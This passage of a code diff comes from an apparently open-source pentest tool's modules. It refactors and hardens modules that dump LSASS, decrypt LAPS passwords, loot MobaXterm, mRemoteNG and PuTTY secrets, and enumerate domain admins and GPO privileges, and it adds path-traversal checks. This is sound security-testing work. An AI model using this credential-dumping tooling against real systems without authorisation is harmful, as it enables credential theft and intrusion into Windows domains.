                         connection.nthash = user[1]
                         connection.nthash = user[1]
                         try:
-                            self.run_lsassy(context, connection, cursor)
-                            cursor.execute("UPDATE pc_and_admins SET dumped = 'TRUE' WHERE pc_name LIKE '" + pc[0] + "%'")
+                            if self.run_lsassy(context, connection, cursor) is False:
+                                context.log.fail(f"Failed to dump lsassy on {pc[0]}")
+                                continue
+                            cursor.execute("UPDATE pc_and_admins SET dumped = 'TRUE' WHERE pc_name = ?", [pc[0]])
 
                             process_creds(
                                 context,

nxc/modules/impersonate.py

@@ -101,7 +101,7 @@ class NXCModule:
                     context.log.fail("Invalid token ID submitted")
 
         except Exception as e:
-            context.log.fail(f"Error runing command: {e}")
+            context.log.fail(f"Error running command: {e}")
         finally:
             try:
                 connection.conn.deleteFile(self.share, f"{self.tmp_share}{self.impersonate}")

nxc/modules/laps.py

@@ -45,12 +45,15 @@ class NXCModule:
                 values = {str(attr["type"]).lower(): attr["vals"][0] for attr in computer["attributes"]}
                 if "mslaps-encryptedpassword" in values:
                     msMCSAdmPwd = values["mslaps-encryptedpassword"]
-                    d = LAPSv2Extract(bytes(msMCSAdmPwd), connection.username if connection.username else "", connection.password if connection.password else "", connection.domain, connection.nthash if connection.nthash else "", connection.kerberos, connection.kdcHost, 339, connection.dns_server)
+                    d = LAPSv2Extract(bytes(msMCSAdmPwd), connection.username if connection.username else "", connection.password if connection.password else "", connection.domain, connection.nthash if connection.nthash else "", connection.kerberos, connection.kdcHost, 339, connection.dns_server, connection.host, connection.remoteName, connection.aesKey)
                     try:
                         data = d.run()
                     except Exception as e:
                         context.log.fail(str(e))
                         continue
+                    if not data:
+                        context.log.fail(f"Failed to decrypt msLAPS-EncryptedPassword for {values['samaccountname']}")
+                        continue
                     r = json.loads(data)
                     laps_computers.append((str(values["samaccountname"]), r["n"], str(r["p"])))
                 elif "mslaps-password" in values:

nxc/modules/lsassy.py

@@ -89,23 +89,24 @@ class NXCModule:
             context.log.fail("Unable to dump lsass")
             return False
 
-        parsed = Parser(host, file).parse()
+        try:
+            parsed = Parser(host, file).parse()
+        finally:
+            # Delete the remote file even when parsing failed, and even if closing it fails
+            try:
+                file.close()
+                context.log.debug("Closed dumper file")
+            except Exception as e:
+                context.log.debug(f"Error closing dumper file: {e}")
+            if ImpacketFile.delete(session, file.get_file_path()):
+                context.log.debug("Deleted dumper file")
+            else:
+                context.log.fail(f"[OPSEC] Failed to delete lsassy dumper file: {file.get_file_path()}")
+
         if parsed is None:
             context.log.fail("Unable to parse lsass dump")
             return False
         credentials, tickets, masterkeys = parsed
-        file.close()
-        context.log.debug("Closed dumper file")
-        file_path = file.get_file_path()
-        context.log.debug(f"File path: {file_path}")
-        try:
-            deleted_file = ImpacketFile.delete(session, file_path)
-            if deleted_file:
-                context.log.debug("Deleted dumper file")
-            else:
-                context.log.fail(f"[OPSEC] No exception, but failed to delete file: {file_path}")
-        except Exception as e:
-            context.log.fail(f"[OPSEC] Error deleting temporary lsassy dumper file {file_path}: {e}")
 
         if credentials is None:
             credentials = []

nxc/modules/maq.py

@@ -1,10 +1,21 @@
+import re
+import ntpath
+
+from io import BytesIO
 from nxc.helpers.misc import CATEGORY
+from nxc.helpers.smb import get_smb_connection
 from nxc.parsers.ldap_results import parse_result_attributes
+from nxc.protocols.ldap.constants import WELL_KNOWN_SIDS
+
+from impacket.smbconnection import SessionError
+from impacket.nmb import NetBIOSError, NetBIOSTimeout
+from impacket.krb5.kerberosv5 import KerberosError
+from impacket import nt_errors
 
 
 class NXCModule:
     """
-    Module by Shutdown and Podalirius
+    Module by Shutdown, Podalirius and serwiz
     Modified by @azoxlpf to handle null session errors and avoid IndexError when no LDAP results are returned.
 
     Initial module:
@@ -14,18 +25,16 @@ class NXCModule:
       Shutdown: @_nwodtuhs
       Podalirius: @podalirius_
     """
+    name = "maq"
+    description = "Retrieves the MachineAccountQuota domain-level attribute and check SeMachineAccountPrivilege (GPO/SYSVOL)"
+    supported_protocols = ["ldap"]
+    category = CATEGORY.ENUMERATION
 
     def options(self, context, module_options):
         """No options available"""
 
-    name = "maq"
-    description = "Retrieves the MachineAccountQuota domain-level attribute"
-    supported_protocols = ["ldap"]
-    category = CATEGORY.ENUMERATION
-
     def on_login(self, context, connection):
         context.log.display("Getting the MachineAccountQuota")
-
         ldap_response = connection.search("(ms-DS-MachineAccountQuota=*)", ["ms-DS-MachineAccountQuota"])
         entries = parse_result_attributes(ldap_response)
 
@@ -34,3 +43,121 @@ class NXCModule:
             return
 
         context.log.highlight(f"MachineAccountQuota: {entries[0]['ms-DS-MachineAccountQuota']}")
+
+        self.get_SeMachineAccountPrivilege(context, connection)
+
+    def get_SeMachineAccountPrivilege(self, context, connection):
+        gpo_links = self.get_gpo_links(context, connection)
+        if not gpo_links:
+            context.log.debug("No enabled GPO links found for the domain and Domain Controllers OU")
+            return
+        context.log.debug(f"gPLink parsed: {gpo_links}")
+
+        try:
+            smb = get_smb_connection(context, connection)
+        except (OSError, SessionError, NetBIOSError, NetBIOSTimeout, KerberosError) as e:
+            context.log.fail(f"Unable to connect to SYSVOL through SMB: {e}")
+            return
+        if not smb:
+            return
+        context.log.display("Getting SeMachineAccountPrivilege")
+
+        try:
+            for link in gpo_links:
+                guid = link["guid"]
+                gpo_name = self.resolve_gpo(connection, guid) or f"{{{guid}}}"
+                # Accessing the GPO in the SYSVOL share to parse GptTmpl.inf
+                path = ntpath.join(connection.targetDomain, "Policies", f"{{{guid}}}", "MACHINE", "Microsoft", "Windows NT", "SecEdit", "GptTmpl.inf")
+
+                try:
+                    buf = BytesIO()
+                    smb.getFile("SYSVOL", path, buf.write)
+                    GptTmpl = buf.getvalue().decode("utf-16le")
+                except SessionError as e:
+                    if e.getErrorCode() in (nt_errors.STATUS_NO_SUCH_FILE, nt_errors.STATUS_OBJECT_NAME_NOT_FOUND, nt_errors.STATUS_OBJECT_PATH_NOT_FOUND):
+                        context.log.debug(f"No GptTmpl.inf for GPO {guid}")
+                    else:
+                        enforced_str = ", Enforced" if link["enforced"] else ""
+                        context.log.fail(f'(GPO) "{gpo_name}" [DN: {link["scope_dn"]}] [Link order: {link["link_order"]}{enforced_str}] not readable ({e.getErrorString()[0]}), result may be incomplete')
+                    continue
+                except (OSError, NetBIOSError, NetBIOSTimeout, UnicodeError) as e:
+                    context.log.fail(f"Unable to read {path}: {e}")
+                    continue
+
+                # An absent setting inherits; an explicitly empty assignment overrides.
+                for line in GptTmpl.splitlines():
+                    match = re.match(r"^\s*SeMachineAccountPrivilege\s*=(.*)$", line.lstrip("\ufeff"))
+                    if match:
+                        value = match.group(1).strip()
+                        break
+                else:
+                    context.log.debug(f"SeMachineAccountPrivilege not in {path}")
+                    continue
+
+                enforced_str = ", Enforced" if link["enforced"] else ""
+                context.log.success(f'(GPO) "{gpo_name}" [DN: {link["scope_dn"]}] [Link order: {link["link_order"]}{enforced_str}]')
+                context.log.info(f"\t{line.strip()}")
+                if not value:
+                    context.log.highlight("SeMachineAccountPrivilege explicitly assigned to nobody")
+                    continue
+
+                principals = [principal.strip() for principal in value.split(",") if principal.strip()]
+                for principal in principals:
+                    match = re.fullmatch(r"\*?(S-\d+(?:-\d+)+)", principal)
+                    if not match:
+                        context.log.highlight(f'\t\t - "{principal}"')
+                        continue
+                    sid = match.group(1)
+                    if sid in WELL_KNOWN_SIDS:
+                        context.log.highlight(f'\t\t - "{WELL_KNOWN_SIDS[sid]}" ({sid})')
+                        continue
+                    resp = connection.search(searchFilter=f"(objectSid={sid})", attributes=["sAMAccountName"])
+                    entries = parse_result_attributes(resp)
+                    if entries and entries[0].get("sAMAccountName"):
+                        context.log.highlight(f'\t\t - "{entries[0]["sAMAccountName"]}" ({sid})')
+                    else:
+                        context.log.highlight(f"\t\t - {sid} (unresolved)")
+        finally:
+            smb.logoff()
+
+    def get_gpo_links(self, context, connection):
+        ou_dn = f"OU=Domain Controllers,{connection.baseDN}"
+        gpo_links = []
+        block_inheritance = False
+
+        for scope_dn in (ou_dn, connection.baseDN):
+            ldap_response = connection.search(searchFilter=f"(distinguishedName={scope_dn})", baseDN=scope_dn, attributes=["gPLink", "gPOptions"])
+            entries = parse_result_attributes(ldap_response)
+            if not entries:
+                context.log.fail(f"Unable to read GPO links for {scope_dn}")
+                return []
+            if scope_dn == ou_dn:
+                block_inheritance = bool(int(entries[0].get("gPOptions") or 0) & 0x1)
+            for link in self.parse_gplink(entries[0].get("gPLink") or ""):
+                if link["disabled"]:
+                    context.log.debug(f'GPO link {link["guid"]} disabled, skipping')
+                    continue
+                if scope_dn == connection.baseDN and block_inheritance and not link["enforced"]:
+                    context.log.debug(f'GPO link {link["guid"]} blocked by inheritance, skipping')
+                    continue
+                link["scope_dn"] = scope_dn
+                # Enforced domain, enforced OU, normal OU, then normal domain links.
+                link["priority"] = (0 if scope_dn == connection.baseDN else 1) if link["enforced"] else (2 if scope_dn == ou_dn else 3)
+                gpo_links.append(link)
+        return sorted(gpo_links, key=lambda link: (link["priority"], link["link_order"]))
+
+    def resolve_gpo(self, connection, guid):
+        resp = connection.search(baseDN=f"CN=Policies,CN=System,{connection.baseDN}", searchFilter=f"(&(objectClass=groupPolicyContainer)(name={{{guid}}}))", attributes=["displayName", "name"])
+        results = parse_result_attributes(resp)
+        if not results:
+            return ""
+        return results[0].get("displayName") or results[0].get("name") or ""
+
+    def parse_gplink(self, gplink):
+        raw_entries = re.findall(r"(?i)\[LDAP://cn=\{([0-9a-f\-]{36})\}[^;\]]*;(\d+)\]", gplink)
+        parsed = []
+        # Number every link, including disabled links (last listed = order 1).
+        for link_order, (guid, flags_str) in enumerate(reversed(raw_entries), 1):
+            flags = int(flags_str)
+            parsed.append({"guid": guid, "flags": flags, "disabled": bool(flags & 0x1), "enforced": bool(flags & 0x2), "link_order": link_order})
+        return parsed

nxc/modules/mobaxterm.py

@@ -1,62 +1,34 @@
 from dploot.triage.mobaxterm import MobaXtermTriage, MobaXtermCredential, MobaXtermPassword
-from dploot.lib.target import Target
 
-from nxc.helpers.logger import highlight
 from nxc.helpers.misc import CATEGORY
-from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection
 
 
 class NXCModule:
     name = "mobaxterm"
     description = "Remotely dump MobaXterm credentials via RemoteRegistry or NTUSER.dat export"
-    supported_protocols = ["smb"]
+    supported_protocols = ["smb", "wmi", "winrm", "mssql"]
     category = CATEGORY.CREDENTIAL_DUMPING
 
     def options(self, context, module_options):
         """No options available"""
 
     def on_admin_login(self, context, connection):
-        username = connection.username
-        password = getattr(connection, "password", "")
-        nthash = getattr(connection, "nthash", "")
-
-        self.pvkbytes = get_domain_backup_key(connection)
-
-        target = Target.create(
-            domain=connection.domain,
-            username=username,
-            password=password,
-            target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
-            lmhash=getattr(connection, "lmhash", ""),
-            nthash=nthash,
-            do_kerberos=connection.kerberos,
-            aesKey=connection.aesKey,
-            no_pass=True,
-            use_kcache=getattr(connection, "use_kcache", False),
-        )
-
-        conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
-        if conn is None:
-            context.log.debug("Could not upgrade connection")
-            return
-
-        self.masterkeys = collect_masterkeys_from_target(connection, target, conn, system=False)
+        self.masterkeys = connection.dpapi_triage.collect_masterkeys_from_target(dump_users=True, dump_system=False)
 
         if len(self.masterkeys) == 0:
             context.log.fail("No masterkeys looted")
             return
 
-        context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting MobaXterm secrets")
-
         def mobaxterm_callback(credential):
             if isinstance(credential, MobaXtermCredential):
-                log_text = "{} - {}:{}".format(credential.name, credential.username, credential.password.decode("latin-1"))
+                log_text = f"{credential.name} - {credential.username}:{credential.password.decode('latin-1')}"
             elif isinstance(credential, MobaXtermPassword):
-                log_text = "{}:{}".format(credential.username, credential.password.decode("latin-1"))
-            context.log.highlight(f"[{credential.winuser}] {log_text}")
+                log_text = f"{credential.username}:{credential.password.decode('latin-1')}"
+            connection.dpapi_triage.log_secret(f"[{credential.winuser}] {log_text}", logger=context.log)
 
         try:
-            triage = MobaXtermTriage(target=self.target, conn=self.conn, masterkeys=self.masterkeys)
+            context.log.success("Looting MobaXterm secrets")
+            triage = MobaXtermTriage(target=connection.dpapi_triage.target, conn=connection.dpapi_triage.conn, masterkeys=self.masterkeys, per_secret_callback=mobaxterm_callback)
             triage.triage_mobaxterm()
         except Exception as e:
             context.log.debug(f"Could not loot MobaXterm secrets: {e}")

nxc/modules/mremoteng.py

@@ -1,12 +1,10 @@
 import ntpath
-from dploot.lib.target import Target
 from Cryptodome.Cipher import AES
 from lxml import objectify
 from base64 import b64decode
 import hashlib
 from dataclasses import dataclass
 from nxc.helpers.misc import CATEGORY
-from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
 
 
 @dataclass
@@ -25,7 +23,7 @@ class NXCModule:
 
     name = "mremoteng"
     description = "Dump mRemoteNG Passwords in AppData and in Desktop / Documents folders (digging recursively in them) "
-    supported_protocols = ["smb"]
+    supported_protocols = ["smb", "wmi", "winrm", "mssql"]
     category = CATEGORY.CREDENTIAL_DUMPING
 
     def __init__(self, context=None, module_options=None):
@@ -42,6 +40,7 @@ class NXCModule:
         self.mRemoteNg_path = [
             "Users\\{username}\\AppData\\Local\\mRemoteNG",
             "Users\\{username}\\AppData\\Roaming\\mRemoteNG",
+            "Users\\{username}\\AppData\\Roaming\\mRemoteNG Connection Manager",
             ]
 
         self.custom_user_path = [
@@ -68,70 +67,31 @@ class NXCModule:
             self.custom_path = module_options["CUSTOM_PATH"]
 
     def on_admin_login(self, context, connection):
-        # 1. Evole conn into dploot conn
         self.context = context
         self.connection = connection
-        self.share = connection.args.share
+        self.share = connection.args.share if hasattr(connection.args, "share") else "C$"
+        self.dploot_conn = connection.dpapi_triage.conn
 
-        host = f"{connection.hostname}.{connection.domain}"
-        domain = connection.domain
-        username = connection.username
-        kerberos = connection.kerberos
-        aesKey = connection.aesKey
-        use_kcache = getattr(connection, "use_kcache", False)
-        password = getattr(connection, "password", "")
-        lmhash = getattr(connection, "lmhash", "")
-        nthash = getattr(connection, "nthash", "")
+        users = self.dploot_conn.list_users()
 
-        target = Target.create(
-            domain=domain,
-            username=username,
-            password=password,
-            target=host,
-            lmhash=lmhash,
-            nthash=nthash,
-            do_kerberos=kerberos,
-            aesKey=aesKey,
-            use_kcache=use_kcache,
-        )
-
-        dploot_conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
-        if dploot_conn is None:
-            context.log.debug("Could not upgrade connection")
-            return
-
-        # 2. Dump users list
-        users = self.get_users(dploot_conn)
-
-        # 3. Search for mRemoteNG files
+        # Search for mRemoteNG files
         for user in users:
             for path in self.mRemoteNg_path:
                 user_path = ntpath.join(path.format(username=user), "confCons.xml")
-                content = dploot_conn.readFile(self.share, user_path)
+                content = self.dploot_conn.read_file(share=self.share, path=user_path)
                 if content is None:
                     continue
                 self.context.log.info(f"Found confCons.xml file: {user_path}")
                 self.handle_confCons_file(content)
             for path in self.custom_user_path:
                 user_path = path.format(username=user)
-                self.dig_confCons_in_files(conn=dploot_conn, directory_path=user_path, recurse_level=0, recurse_max=self.recurse_max)
+                self.dig_confCons_in_files(conn=self.dploot_conn, directory_path=user_path, recurse_level=0, recurse_max=self.recurse_max)
         if self.custom_path is not None:
-            content = dploot_conn.readFile(self.share, self.custom_path)
+            content = self.dploot_conn.read_file(share=self.share, path=self.custom_path)
             if content is not None:
                 self.context.log.info(f"Found confCons.xml file: {self.custom_path}")
                 self.handle_confCons_file(content)
 
-    def get_users(self, conn):
-        users = []
-
-        users_dir_path = "Users\\*"
-        directories = conn.listPath(shareName=self.share, path=ntpath.normpath(users_dir_path))
-
-        for d in directories:
-            if d.get_longname() not in self.false_positive and d.is_directory() > 0:
-                users.append(d.get_longname())  # ruff: ignore[manual-list-comprehension], ignoring for readability
-        return users
-
     def handle_confCons_file(self, file_content):
         main = objectify.fromstring(file_content)
         encryption_attributes = MRemoteNgEncryptionAttributes(
@@ -152,7 +112,7 @@ class NXCModule:
             protocol = node_attribute["Protocol"]
             port = node_attribute["Port"]
             host = f" {protocol}://{hostname}:{port}" if node_attribute["Hostname"] != "" else " "
-            self.context.log.highlight(f"{name}:{host} - {domain}\\{username}:{password}")
+            self.connection.dpapi_triage.log_secret(f"{name}:{host} - {domain}\\{username}:{password}", self.context.log)
 
     def parse_xml_nodes(self, main):
         nodes = []
@@ -166,7 +126,7 @@ class NXCModule:
         return nodes
 
     def dig_confCons_in_files(self, conn, directory_path, recurse_level=0, recurse_max=10):
-        directory_list = conn.remote_list_dir(self.share, directory_path)
+        directory_list = conn.list_dir(share=self.share, path=directory_path)
         if directory_list is not None:
             for item in directory_list:
                 if item.get_longname() not in self.false_positive:
@@ -178,7 +138,7 @@ class NXCModule:
                         # It's a file, download it to the output share if the mask is ok
                         if "confCons.xml" in item.get_longname():
                             self.context.log.info(f"Found confCons.xml file: {new_path}")
-                            content = conn.readFile(self.context.share, new_path)
+                            content = conn.read_file(share=self.share, path=new_path)
                             self.handle_confCons_file(content)
 
     def extract_remoteng_passwords(self, encrypted_password, encryption_attributes: MRemoteNgEncryptionAttributes):

nxc/modules/mssql_dumper.py

@@ -4,6 +4,7 @@ import os
 from pathlib import Path
 import re
 from nxc.helpers.misc import CATEGORY
+from nxc.helpers.path import sanitize_path_component
 from nxc.paths import NXC_PATH
 
 
@@ -139,8 +140,8 @@ class NXCModule:
                         context.log.fail(f"Regex scan failed for {db_name}.{table_name}: {e}")
 
         if self.save and all_results:
-            filename = f"{connection.hostname}_{connection.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}.json"
-            file_path = Path(f"{NXC_PATH}/modules/mssql-dumper/{filename}").resolve()
+            filename = sanitize_path_component(f"{connection.hostname}_{connection.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}.json")
+            file_path = (Path(NXC_PATH) / "modules" / "mssql-dumper" / filename).resolve()
             os.makedirs(file_path.parent, exist_ok=True)
             with open(file_path, "w") as f:
                 json.dump(all_results, f, indent=2)

nxc/modules/nanodump.py

@@ -10,6 +10,7 @@ import tempfile
 from datetime import datetime
 from nxc.helpers.bloodhound import add_user_bh
 from nxc.helpers.misc import CATEGORY
+from nxc.helpers.path import sanitize_path_component
 from nxc.protocols.mssql.mssqlexec import MSSQLEXEC
 
 
@@ -158,7 +159,7 @@ class NXCModule:
             return
         else:
             self.context.log.display(f"Copying {nano_log_name} to host")
-            filename = os.path.join(self.dir_result, f"{self.connection.hostname}_{self.connection.os_arch}_{self.connection.domain}.log")
+            filename = os.path.join(self.dir_result, sanitize_path_component(f"{self.connection.hostname}_{self.connection.os_arch}_{self.connection.domain}.log"))
             if self.context.protocol == "smb":
                 with open(filename, "wb+") as dump_file:
                     try:

nxc/modules/notepad++.py

@@ -1,7 +1,9 @@
 from io import BytesIO
 from os import makedirs
-from os.path import join, abspath
+from os.path import join
+from pathlib import Path
 from nxc.helpers.misc import CATEGORY
+from nxc.helpers.path import sanitize_path_component
 from nxc.paths import NXC_PATH
 
 
@@ -36,9 +38,12 @@ class NXCModule:
                             context.log.highlight(f"C:\\{file_path}")
                             for line in file_content.splitlines():
                                 context.log.highlight(f"\t{line}")
-                            filename = f"{connection.host}_{directory.get_longname()}_notepad_backup_{found}.txt"
+                            filename = sanitize_path_component(f"{connection.host}_{directory.get_longname()}_notepad_backup_{found}.txt")
                             export_path = join(NXC_PATH, "modules", "notepad++")
-                            path = abspath(join(export_path, filename))
+                            path = Path(export_path, filename).resolve()
+                            if Path(export_path).resolve() not in path.parents:
+                                context.log.fail(f"Path traversal detected in {filename!r}, skipping")
+                                continue
                             makedirs(export_path, exist_ok=True)
                             try:
                                 with open(path, "w+") as file:

nxc/modules/notepad.py

@@ -1,9 +1,11 @@
 from io import BytesIO
 from os import makedirs
-from os.path import join, abspath
+from os.path import join
+from pathlib import Path
 import re
 import time
 from nxc.helpers.misc import CATEGORY
+from nxc.helpers.path import sanitize_path_component
 from nxc.paths import NXC_PATH
 from impacket.smbconnection import SessionError
 
@@ -37,7 +39,7 @@ class NXCModule:
         self.FILE_PATH_REGEX = r"^[A-Za-z]:\\(?:[^<>:\"/\\|?*]+\\)*[^<>:\"/\\|?*]+\.[\w]{1,5}$"
 
     def options(self, context, module_options):
-        """KILL                // Kill for notepad.exe process. Default False."""
+        """KILL          Kill for notepad.exe process. Default: False"""
         if "KILL" not in module_options:
             self.kill = False
         else:
@@ -161,9 +163,12 @@ class NXCModule:
                                     content_lines.append(string)  # Store the string value only
 
                             # Save to file
-                            filename = f"{connection.host}_{directory.get_longname()}_notepad_tabstate_{found}.txt"
+                            filename = sanitize_path_component(f"{connection.host}_{directory.get_longname()}_notepad_tabstate_{found}.txt")
                             export_path = join(NXC_PATH, "modules", "notepad")
-                            path = abspath(join(export_path, filename))
+                            path = Path(export_path, filename).resolve()
+                            if Path(export_path).resolve() not in path.parents:
+                                context.log.fail(f"Path traversal detected in {filename!r}, skipping")
+                                continue
                             makedirs(export_path, exist_ok=True)
 
                             with open(path, "w+") as output_file:

nxc/modules/ntds-dump-raw.py

@@ -519,10 +519,10 @@ class NXCModule:
         parsed_header = self.parse_MFT_header(curr_sector[Offset_to_the_first_attribute:])
 
         if "$FILE_NAME" in parsed_header:
-            filename_lenght = self.bytes_to_int_signed(parsed_header["$FILE_NAME"][0x58: 0x58 + 1])
+            filename_length = self.bytes_to_int_signed(parsed_header["$FILE_NAME"][0x58: 0x58 + 1])
             curr_MFA_sector.parent_record_number = self.bytes_to_int_unsigned(parsed_header["$FILE_NAME"][0x18: 0x18 + 3] + b"\x00")
 
-            curr_MFA_sector.filename = parsed_header["$FILE_NAME"][0x58 + 2: 0x58 + 2 + (filename_lenght * 2)].decode("utf-16")
+            curr_MFA_sector.filename = parsed_header["$FILE_NAME"][0x58 + 2: 0x58 + 2 + (filename_length * 2)].decode("utf-16")
 
         if "$DATA" in parsed_header:
             dataRun_offset = self.bytes_to_int_signed(parsed_header["$DATA"][0x20: 0x20 + 1])

nxc/modules/obsolete.py

@@ -1,7 +1,9 @@
 #!/usr/bin/env python3
 
 from datetime import datetime, timedelta
+from os.path import join
 from nxc.helpers.misc import CATEGORY
+from nxc.helpers.path import sanitize_path_component
 from nxc.paths import NXC_PATH
 import socket
 
@@ -71,7 +73,7 @@ class NXCModule:
 
         if answers:
             obsolete_hosts_count = len(answers)
-            filename = f"{NXC_PATH}/logs/{connection.domain}.obsoletehosts.txt"
+            filename = join(NXC_PATH, "logs", sanitize_path_component(f"{connection.domain}.obsoletehosts.txt"))
             context.log.display(f"{obsolete_hosts_count} Obsolete hosts will be saved to {filename}")
             with open(filename, "w") as f:
                 for dns_hostname, ip_address, os, pwd_last_set_readable in answers:

nxc/modules/powershell_history.py

@@ -1,6 +1,8 @@
 from os import makedirs
-from os.path import join, abspath
+from os.path import join
+from pathlib import Path
 from nxc.helpers.misc import CATEGORY
+from nxc.helpers.path import sanitize_path_component
 from nxc.paths import NXC_PATH
 from io import BytesIO
 
@@ -46,9 +48,12 @@ class NXCModule:
                             for line in file_content.splitlines():
                                 context.log.highlight(f"\t{line}")
                             if self.export:
-                                filename = f"{connection.host}_{directory.get_longname()}_powershell_history.txt"
+                                filename = sanitize_path_component(f"{connection.host}_{directory.get_longname()}_powershell_history.txt")
                                 export_path = join(NXC_PATH, "modules", "powershell_history")
-                                path = abspath(join(export_path, filename))
+                                path = Path(export_path, filename).resolve()
+                                if Path(export_path).resolve() not in path.parents:
+                                    context.log.fail(f"Path traversal detected in {filename!r}, skipping")
+                                    continue
                                 makedirs(export_path, exist_ok=True)
                                 try:
                                     with open(path, "w+") as file:

nxc/modules/pre2k.py

@@ -1,9 +1,11 @@
 import os
+from pathlib import Path
 from impacket.krb5.kerberosv5 import getKerberosTGT
 from impacket.krb5.ccache import CCache
 from impacket.krb5.types import Principal
 from impacket.krb5 import constants
 from nxc.helpers.misc import CATEGORY
+from nxc.helpers.path import sanitize_path_component
 from nxc.parsers.ldap_results import parse_result_attributes
 from nxc.paths import NXC_PATH
 
@@ -54,7 +56,7 @@ class NXCModule:
                 context.log.debug(f"Added computer: {computer['sAMAccountName']}")
 
             # Save computers to file
-            domain_dir = os.path.join(f"{NXC_PATH}/modules/pre2k", connection.domain)
+            domain_dir = os.path.join(NXC_PATH, "modules", "pre2k", sanitize_path_component(connection.domain))
             output_file_pre2k = os.path.join(domain_dir, "precreated_computers.txt")
             output_file_non_pre2k = os.path.join(domain_dir, "non_precreated_computers.txt")
 
@@ -137,7 +139,10 @@ class NXCModule:
         try:
             ccache = CCache()
             ccache.fromTGT(ticket, sessionKey, sessionKey)
-            ccache_filename = os.path.join(ccache_base_dir, f"{username}.ccache")
+            ccache_filename = Path(ccache_base_dir, sanitize_path_component(f"{username}.ccache")).resolve()
+            if Path(ccache_base_dir).resolve() not in ccache_filename.parents:
+                context.log.fail(f"Path traversal detected in ticket filename for {username!r}, skipping")
+                return
             ccache.saveFile(ccache_filename)
             context.log.info(f"Saved ticket in {ccache_filename}")
         except Exception as e:

nxc/modules/presence.py

@@ -1,4 +1,5 @@
 import re
+from types import SimpleNamespace
 from impacket.dcerpc.v5 import samr, tsch
 from impacket.dcerpc.v5 import tsts as TSTS
 from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
@@ -20,11 +21,46 @@ class NXCModule:
     category = CATEGORY.ENUMERATION
 
     def options(self, context, module_options):
-        """There are no module options."""
+        """
+        ALTUSER     Alternative domain user to enumerate admin groups with
+        ALTPASS     Password for ALTUSER
+        ALTDOMAIN   Domain FQDN of the alternative credentials
+        ALTDC       DC IP
+
+        When alternative credentials are supplied, Domain and Enterprise Admins are enumerated over SAMR against the DC using those credentials, rather than the local administrator session (which cannot enumerate these groups).
+        """
+        self.altuser = module_options.get("ALTUSER")
+        self.altpass = module_options.get("ALTPASS")
+        self.altdomain = module_options.get("ALTDOMAIN")
+        self.altdc = module_options.get("ALTDC")
+
+        alt_creds = [self.altuser, self.altpass, self.altdomain]
+        if any(alt_creds) and not all(alt_creds):
+            context.log.fail("ALTUSER, ALTPASS, and ALTDOMAIN must be specified together")
+            return False
 
     def on_admin_login(self, context, connection):
         try:
-            admin_users = self.enumerate_admin_users(context, connection)
+            if self.altuser and self.altpass and self.altdomain:
+                context.log.info(f"Using alternative domain credentials: {self.altdomain}\\{self.altuser}")
+                alt_connection = SimpleNamespace(
+                    username=self.altuser,
+                    password=self.altpass,
+                    domain=self.altdomain,
+                    lmhash="",
+                    nthash="",
+                    aesKey=None,
+                    kerberos=False,
+                    kdcHost=self.altdc,
+                    conn=None,
+                    host=self.altdc,
+                    remoteName=self.altdc,
+                    port=445,
+                )
+                admin_users = self.enumerate_admin_users(context, alt_connection)
+            else:
+                admin_users = self.enumerate_admin_users(context, connection)
+
             if not admin_users:
                 context.log.fail("No admin users found.")
                 return
@@ -148,12 +184,18 @@ class NXCModule:
         context.log.debug(f"Enumerated {len(processes)} processes on {connection.host}")
 
         for process in processes:
-            context.log.debug(f"ImageName: {process['ImageName']}, UniqueProcessId: {process['SessionId']}, pSid: {process['pSid']}")
+            info = process.getProcessInfo()
+            image_name = info["ImageName"].getValue()
+            pid = info["UniqueProcessId"]
+            session_id = info["SessionId"]
+            psid = process.getSid()
+            context.log.debug(f"ImageName: {image_name}, UniqueProcessId: {pid}, SessionId: {session_id}, pSid: {psid}")
+
             # Check if process SID matches any admin user SID
             for user in admin_users:
-                if process["pSid"] == user["sid"]:
+                if psid == user["sid"]:
                     user["in_tasks"] = True
-                    context.log.info(f"Matched process {process['ImageName']} with user {user['username']}")
+                    context.log.info(f"Matched process {image_name} with user {user['username']}")
 
     def check_scheduled_tasks(self, context, connection, admin_users):
         """Checks scheduled tasks over rpc."""

nxc/modules/putty.py

@@ -6,8 +6,10 @@ from impacket.dcerpc.v5.rpcrt import DCERPCException
 from impacket.dcerpc.v5 import rrp
 from impacket.examples.secretsdump import RemoteOperations
 from os import makedirs
+from pathlib import Path
 from nxc.helpers.logger import highlight
 from nxc.helpers.misc import CATEGORY
+from nxc.helpers.path import sanitize_path_component
 from nxc.paths import NXC_PATH
 import re
 
@@ -160,7 +162,10 @@ class NXCModule:
                 makedirs(f"{NXC_PATH}/modules/PuTTY", exist_ok=True)
                 share = session["private_key_path"].split(":")[0] + "$"
                 file_path = session["private_key_path"].split(":")[1]
-                download_path = f"{NXC_PATH}/modules/PuTTY/putty_{session['user']}_{session['session_name']}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.sec"
+                download_path = Path(NXC_PATH, "modules", "PuTTY", sanitize_path_component(f"putty_{session['user']}_{session['session_name']}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.sec")).resolve()
+                if Path(NXC_PATH, "modules", "PuTTY").resolve() not in download_path.parents:
+                    self.context.log.fail(f"Path traversal detected in PuTTY session {session['session_name']!r}, skipping")
+                    continue
 
                 buf = BytesIO()
                 with open(download_path, "wb") as file:

nxc/modules/raisechild.py

@@ -2,7 +2,6 @@ import os
 import datetime
 import re
 from contextlib import suppress
-from impacket.smbconnection import SMBConnection
 from impacket.examples.secretsdump import RemoteOperations, NTDSHashes
 from impacket.dcerpc.v5.drsuapi import DCERPCSessionError
 from calendar import timegm
@@ -20,6 +19,7 @@ from impacket.dcerpc.v5.samr import GROUP_MEMBERSHIP, SE_GROUP_MANDATORY, SE_GRO
 from impacket.dcerpc.v5.dtypes import SID, RPC_SID, NULL
 from nxc.parsers.ldap_results import parse_result_attributes
 from nxc.helpers.misc import CATEGORY
+from nxc.helpers.smb import get_smb_connection
 
 # Encryption type configurations: enctype, checksum, signature size, session key size
 ETYPE_CONFIG = {
